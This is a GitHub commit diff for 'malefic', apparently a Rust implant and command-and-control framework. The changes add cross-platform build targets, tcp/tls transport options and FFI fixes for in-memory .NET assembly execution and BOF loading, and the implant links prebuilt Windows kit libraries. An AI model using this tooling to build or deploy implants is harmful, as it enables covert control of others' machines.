Skip to content

Commit

Permalink
feat: Support compiling community versions of GNU toolchain and Docker
Browse files Browse the repository at this point in the history
  • Loading branch information
nightRainy committed Aug 16, 2024
1 parent 8bd3491 commit ded71c4
Show file tree
Hide file tree
Showing 20 changed files with 154 additions and 40 deletions.
6 changes: 6 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
/target
implantpb.rs
/Cargo.lock
.vscode
.DS_store
.idea
1 change: 0 additions & 1 deletion Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,6 @@
members = [
"malefic",
"malefic-modules",
"malefic-win-kit",
"malefic-helper",
"malefic-trait",
"malefic-config"
Expand Down
8 changes: 7 additions & 1 deletion Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -11,4 +11,10 @@ ENV PATH=$PATH:/root/.cargo/bin
RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y && \
. "$HOME/.cargo/env" && \
rustup default nightly && \
rustup target add x86_64-pc-windows-gnu
rustup toolchain install nightly-2023-12-12 && \
rustup target add x86_64-pc-windows-gnu && \
rustup target add i686-pc-windows-gnu && \
rustup target add x86_64-unknown-linux-gnu && \
rustup target add i686-unknown-linux-gnu && \
rustup target add x86_64-apple-darwin && \
rustup target add aarch64-apple-darwin
50 changes: 49 additions & 1 deletion Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,54 @@ commuinty_run: profile_community
professional_run: profile_professional
cargo run --release -p malefic

.ONESHELL:
community_win64: profile_community
cargo build --release -p malefic --target x86_64-pc-windows-gnu

.ONESHELL:
community_win32: profile_community
cargo build --release -p malefic --target i686-pc-windows-gnu

.ONESHELL:
professional_win64: profile_community
cargo build --release -p malefic --target x86_64-pc-windows-gnu

.ONESHELL:
professional_win32: profile_professional
cargo build --release -p malefic --target i686-pc-windows-gnu

.ONESHELL:
professional_linux64: profile_professional
cargo build --release -p malefic --target x86_64-unknown-linux-gnu

.ONESHELL:
professional_linux64: profile_professional
cargo build --release -p malefic --target x86_64-unknown-linux-gnu

.ONESHELL:
community_linux32: profile_community
cargo build --release -p malefic --target i686-unknown-linux-gnu

.ONESHELL:
professional_darwin64: profile_professional
cargo build --release -p malefic --target x86_64-apple-darwin

.ONESHELL:
community_darwin64: profile_community
cargo build --release -p malefic --target x86_64-apple-darwin

.ONESHELL:
community_darwin_arm64: profile_community
cargo build --release -p malefic --target aarch64-apple-darwin

.ONESHELL:
professiona_darwin_arm64: profile_professional
cargo build --release -p malefic --target aarch64-apple-darwin

.ONESHELL:
debug: profile_professional
cargo run -p malefic
cargo run -p malefic

.ONESHELL:
debug_community: profile_community
cargo run -p malefic
2 changes: 2 additions & 0 deletions config.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,8 @@ server:
name: "malefic"
urls:
- "127.0.0.1:5001"
protocol: "tcp"
tls: false
proxy: ""
interval: 1000
jitter: 10
Expand Down
4 changes: 3 additions & 1 deletion config_schema.json
Original file line number Diff line number Diff line change
Expand Up @@ -8,10 +8,12 @@
"type": "array",
"items": { "type": "string" }
},
"protocol" : { "type": "string" },
"tls": { "type": "boolean" },
"interval": { "type": "integer" },
"jitter": { "type": "integer" }
},
"required": ["urls", "interval", "jitter"]
"required": ["urls", "interval", "protocol", "tls", "jitter"]
},
"implants": {
"type": "object",
Expand Down
2 changes: 1 addition & 1 deletion docker-compose.yml
Original file line number Diff line number Diff line change
Expand Up @@ -9,4 +9,4 @@ services:
volumes:
- ./:/root/src/
working_dir: /root/src
command: bash -c "cargo clean && cargo build --target x86_64-pc-windows-gnu --release"
command: tail -f /dev/null
14 changes: 11 additions & 3 deletions malefic-config/src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,8 @@ struct Implant {
struct Service {
name: String,
urls: Vec<String>,
protocol: String,
tls: bool,
proxy: String,
interval: u64,
jitter: u64,
Expand Down Expand Up @@ -139,6 +141,12 @@ lazy_static! {
static ref NORMAL:String = "NORMAL".to_string();
static ref DYNAMIC: String = "DYNAMIC".to_string();
static ref SYSCALLS: String = "SYSCALLS".to_string();

static ref TCP: String = "tcp".to_string();
static ref COMMON_TRANSPORT_TCP: String = "Common_Transport_Tcp".to_string();
static ref COMMON_TRANSPORT_TLS: String = "Common_Transport_Tls".to_string();
static ref PROTOCOL_TCP: String = "protocol_tcp".to_string();
static ref PROTOCOL_TLS: String = "protocol_tls".to_string();
}


Expand Down Expand Up @@ -200,8 +208,8 @@ fn main() {
let config = load_yaml_config(&CONFIG_YAML_PATH);
validate_yaml_config(&CONFIG_YAML_PATH, &CONFIG_SCHEMA_PATH);
update_core(config.server.clone());
update_core_toml(&CONFIG_CORE_TOML_PATH, config.implants.clone(), professional);
update_winkit_toml(&CONFIG_WINKIT_TOML_PATH, config.implants.clone(), professional);
update_core_toml(&CONFIG_CORE_TOML_PATH, config.implants.clone(), config.server.clone(), professional);
// update_winkit_toml(&CONFIG_WINKIT_TOML_PATH, config.implants.clone(), professional);
update_module_toml(&CONFIG_MODULE_TOML_PATH, config.implants.modules.clone(), professional);
update_helper_toml(&CONFIG_HELPER_TOML_PATH, professional);
update_helper_toml(&CONFIG_HELPER_TOML_PATH, config.server.clone(), professional);
}
10 changes: 8 additions & 2 deletions malefic-config/src/update_core.rs
Original file line number Diff line number Diff line change
Expand Up @@ -35,7 +35,7 @@ pub fn update_core(server: Service) {
buf.push_str(");\n");

if server.ca.is_empty() {
buf.push_str("pub static CA: &'static [u8] = vec![1;0];");
buf.push_str("pub static CA: &'static [u8] = b\"1\";");
} else {
let ca = std::format!(
"pub static CA: &'static [u8] = include_bytes!(\"{}\");",
Expand All @@ -49,7 +49,7 @@ pub fn update_core(server: Service) {
}


pub fn update_core_toml(cargo_toml_path: &str,implant_config: ImplantConfig, professional: bool) {
pub fn update_core_toml(cargo_toml_path: &str,implant_config: ImplantConfig, service: Service, professional: bool) {
let cargo_toml_content = fs::read_to_string(cargo_toml_path)
.expect("Failed to read Cargo.toml file");

Expand All @@ -62,6 +62,12 @@ pub fn update_core_toml(cargo_toml_path: &str,implant_config: ImplantConfig, pro
if implant_config.register_info {
default_array.push("register_info".to_string());
}
if service.tls {
default_array.push("protocol_tls".to_string());
} else {
default_array.push("protocol_tcp".to_string());
}

features[&"default"] = Item::Value(default_array.into());
}

Expand Down
23 changes: 21 additions & 2 deletions malefic-config/src/update_helper.rs
Original file line number Diff line number Diff line change
Expand Up @@ -2,14 +2,15 @@ use std::fs;

use toml_edit::{Array, DocumentMut, InlineTable, Item, Table, Value};

use crate::{CFG_TARGET_OS_WINDOWS, CONFIG_COMMUNITY, CONFIG_MALEFIC_WIN_KIT_PATH, CONFIG_PROFESSIONAL, DEFAULT, DEPENDENCES, DEPENDENCICES, FEATURES, MALEFIC_WIN_KIT, PATH, TARGET};
use crate::{Service, CFG_TARGET_OS_WINDOWS, COMMON_TRANSPORT_TCP, COMMON_TRANSPORT_TLS, CONFIG_COMMUNITY, CONFIG_MALEFIC_WIN_KIT_PATH, CONFIG_PROFESSIONAL, DEFAULT, DEPENDENCES, DEPENDENCICES, FEATURES, MALEFIC_WIN_KIT, PATH, TARGET};

pub fn update_helper_toml(cargo_toml_path: &str, professional: bool) {
pub fn update_helper_toml(cargo_toml_path: &str, service: Service, professional: bool) {
let cargo_toml_content = fs::read_to_string(cargo_toml_path)
.expect("Failed to read Cargo.toml file");

let mut cargo_toml: DocumentMut = cargo_toml_content.parse()
.expect("Failed to parse Cargo.toml file");
// Set the default feature to community or professional
if let Some(features) = cargo_toml[&FEATURES].as_table_mut() {
if let Some(default_array) = features[&DEFAULT].as_array_mut() {
if !professional {
Expand All @@ -26,6 +27,24 @@ pub fn update_helper_toml(cargo_toml_path: &str, professional: bool) {
}
}
}

// Set the default feature common
if let Some(features) = cargo_toml[&FEATURES].as_table_mut() {
if let Some(default_array) = features[&DEFAULT].as_array_mut() {
if service.tls {
if default_array.iter().find(|x| x.as_str().unwrap() == &COMMON_TRANSPORT_TLS.to_string()).is_none() {
default_array.push(COMMON_TRANSPORT_TLS.to_string());
}
default_array.retain(|x| x.as_str().unwrap() != &COMMON_TRANSPORT_TCP.to_string());
} else {
if default_array.iter().find(|x| x.as_str().unwrap() == &COMMON_TRANSPORT_TCP.to_string()).is_none() {
default_array.push(COMMON_TRANSPORT_TCP.to_string());
}
default_array.retain(|x| x.as_str().unwrap() != &COMMON_TRANSPORT_TLS.to_string());
}
}
}

if let Some(target) = cargo_toml[&TARGET].as_table_mut() {
if let Some(target_os) = target[&CFG_TARGET_OS_WINDOWS].as_table_mut() {
if let Some(dependencies) = target_os[&DEPENDENCICES].as_table_mut() {
Expand Down
10 changes: 6 additions & 4 deletions malefic-helper/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -62,10 +62,13 @@ Linux = []
Unix = []

default = [
"Common_Transport_Tcp",
"Win",
"Loader_Mei_Apc", "professional"]
"Loader_Mei_Apc", "Common_Transport_Tcp", "community"]

win_template = [
"Loader_Mei_Apc",
"Win",
]
community = []
professional = []

Expand All @@ -86,7 +89,7 @@ digest = "0.10"
prost = "0.13.1"
detour = { git = "https://github.com/Hpmason/detour-rs", branch = "fix-nightly1.67.0-changes" }
# async-tls = "0.13"
rustls = "0.20.6"
rustls = { version = "0.20.6", features = ["dangerous_configuration"] }
rustls-pemfile = "1.0"
# syscalls = "0.6.15"
[dependencies.async-std]
Expand Down Expand Up @@ -116,7 +119,6 @@ windows-sys = { version = "0.52.0", features = [
"Win32_System_Registry",
"Win32_System_LibraryLoader",
]}
malefic-win-kit = { path = "../malefic-win-kit" }

[target.'cfg(unix)'.dependencies]
libc = "0.2"
Expand Down
12 changes: 8 additions & 4 deletions malefic-helper/build.rs
Original file line number Diff line number Diff line change
Expand Up @@ -12,10 +12,14 @@ fn main() {
{
let manifest_dir = env::var("CARGO_MANIFEST_DIR")
.expect("CARGO_MANIFEST_DIR environment variable not set");
let lib_path = PathBuf::from(manifest_dir).join("../resources");
println!("lib path is {:#?}", lib_path.display());
println!("cargo:rustc-link-search=native={}", lib_path.display());
println!("cargo:rustc-link-lib=static=malefic_win_kit");
// let lib_path = PathBuf::from(manifest_dir).join("..\\resources");
let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap());
#[cfg(target_arch="x86_64")]
std::fs::copy("../resources/libmalefic_win_kit.a", out_dir.join("libmalefic_win_kit.a")).unwrap();
#[cfg(target_arch="x86")]
std::fs::copy("../resources/libmalefic_win_kit32.a", out_dir.join("libmalefic_win_kit.a")).unwrap();
println!("cargo:rustc-link-search=native={}", out_dir.display());
println!("cargo:rustc-link-lib=static={}", "malefic_win_kit");
}
println!("cargo:rerun-if-changed=build.rs");
println!("cargo:rerun-if-changed=path/to/Cargo.lock");
Expand Down
4 changes: 2 additions & 2 deletions malefic-modules/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,7 @@ rustflags = ["-Z", "trim-diagnostic-paths"]

[features]

default = ["professional", "full"]
default = ["community", "full"]

full = [
"fs_ls",
Expand Down Expand Up @@ -161,7 +161,7 @@ features = ["unstable", "attributes"]
[target.'cfg(target_os = "windows")'.dependencies]
winapi = {version = "0.3.9", features = ["winbase"]}
detour = { git = "https://github.com/Hpmason/detour-rs", branch = "fix-nightly1.67.0-changes" }
malefic-win-kit = { path = "../malefic-win-kit" }
#malefic-win-kit = { path = "../malefic-win-kit" }

[build-dependencies]
prost-build = "0.13.1"
Expand Down
11 changes: 7 additions & 4 deletions malefic-modules/build.rs
Original file line number Diff line number Diff line change
Expand Up @@ -6,10 +6,13 @@ fn main() {
{
let manifest_dir = env::var("CARGO_MANIFEST_DIR")
.expect("CARGO_MANIFEST_DIR environment variable not set");
let lib_path = PathBuf::from(manifest_dir).join("../resources/");
println!("lib path is {:#?}", lib_path.display());
println!("cargo:rustc-link-search=native={}", lib_path.display());
println!("cargo:rustc-link-lib=static=malefic_win_kit");
let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap());
#[cfg(target_arch="x86_64")]
std::fs::copy("../resources/libmalefic_win_kit.a", out_dir.join("libmalefic_win_kit.a")).unwrap();
#[cfg(target_arch="x86")]
std::fs::copy("../resources/libmalefic_win_kit32.a", out_dir.join("libmalefic_win_kit.a")).unwrap();
println!("cargo:rustc-link-search=native={}", out_dir.display());
println!("cargo:rustc-link-lib=static={}", "malefic_win_kit");
}
println!("cargo:rerun-if-changed=build.rs");
println!("cargo:rerun-if-changed=path/to/Cargo.lock");
Expand Down
4 changes: 3 additions & 1 deletion malefic-modules/src/lib.rs
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
#![feature(stmt_expr_attributes)]
#![feature(type_alias_impl_trait)]
pub mod net;
pub mod fs;
pub mod sys;
Expand Down Expand Up @@ -214,10 +215,11 @@ pub extern "C" fn register_modules() -> HashMap<String, Box<MaleficModule>> {
#[cfg(feature = "community")]
#[link(name="malefic_win_kit", kind="dylib")]
extern "C" {
fn MaleficExecAssembleInMemory(data: *const u8, data_len: usize, args: *const *const u8) -> *const u8;
fn MaleficExecAssembleInMemory(data: *const u8, data_len: usize, args: *const *const u8, args_len: usize) -> *const u8;
fn MaleficBofLoader(buffer: *const u8,
buffer_len: usize,
arguments: *const *const u8,
arguments_len: usize,
entrypoint_name: *const u8) -> *const u8;
fn MaleficPwshExecCommand(command: *const u8, command_len: usize) -> *const u8;
fn MaleficLoadLibrary(
Expand Down
13 changes: 9 additions & 4 deletions malefic-modules/src/sys/execute_assemble.rs
Original file line number Diff line number Diff line change
Expand Up @@ -21,14 +21,19 @@ impl Module for ExecuteAssembly {
#[cfg(feature = "community")]
{
use crate::MaleficExecAssembleInMemory;
let str_slices: Vec<&str> = request.params.iter().map(|s| s.as_str()).collect();
let str_args: *const *const u8 = str_slices.as_ptr() as *const *const u8;
let ret = unsafe {MaleficExecAssembleInMemory(bin.as_ptr(), bin.len(), str_args)};
let c_strings: Vec<_> = request.params
.iter()
.map(|s| {
let c_str = std::ffi::CString::new(s.as_str()).unwrap();
c_str.into_raw()
})
.collect();
let ret = unsafe {MaleficExecAssembleInMemory(bin.as_ptr(), bin.len(), c_strings.as_ptr() as _, c_strings.len())};
if ret.is_null() {
to_error!(Err("Bof Loader failed!".to_string()))?
}
let ret_s = unsafe {CString::from_raw(ret as _).to_string_lossy().to_string()};
let result = ret_s.into_bytes();
result = ret_s.into_bytes();
}
#[cfg(feature = "professional")]
{
Expand Down
11 changes: 8 additions & 3 deletions malefic-modules/src/sys/execute_bof.rs
Original file line number Diff line number Diff line change
Expand Up @@ -27,9 +27,14 @@ impl Module for ExecuteBof {
} else {
ep = request.entry_point.as_ptr() // ep = Some(request.entry_point);
}
let str_slices: Vec<&str> = args.iter().map(|s| s.as_str()).collect();
let str_args: *const *const u8 = str_slices.as_ptr() as *const *const u8;
let ret = unsafe {MaleficBofLoader(bin.as_ptr(), bin.len(), str_args, ep)};
let c_strings: Vec<_> = args
.iter()
.map(|s| {
let c_str = std::ffi::CString::new(s.as_str()).unwrap();
c_str.into_raw()
})
.collect();
let ret = unsafe {MaleficBofLoader(bin.as_ptr(), bin.len(), c_strings.as_ptr() as _, c_strings.len(), ep)};
if ret.is_null() {
to_error!(Err("Bof Loader failed!".to_string()))?
}
Expand Down
9 changes: 3 additions & 6 deletions malefic/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -18,8 +18,8 @@ protocol_tls = []
protocol_wireguard = []


default = ["beacon", "protocol_tcp", "register_info"]
template = ["beacon", "protocol_tcp"]
default = ["beacon", "register_info", "protocol_tcp"]
template = ["beacon"]

[profile.dev]
opt-level = 1
Expand Down Expand Up @@ -52,10 +52,7 @@ thiserror = "1.0.58"
lazy_static = "1.4.0"

malefic-modules = { path = "../malefic-modules", features = [ "default" ] }
malefic-helper = { path= "../malefic-helper", features = [
"Common_Transport_Tcp",
"Win"
] }
malefic-helper = { path= "../malefic-helper", features = [ "default" ] }

[dependencies.async-std]
version = "1.7.0"
Expand Down
Binary file added resources/libmalefic_win_kit.a
Binary file not shown.
Binary file added resources/libmalefic_win_kit32.a
Binary file not shown.

0 comments on commit ded71c4

Please sign in to comment.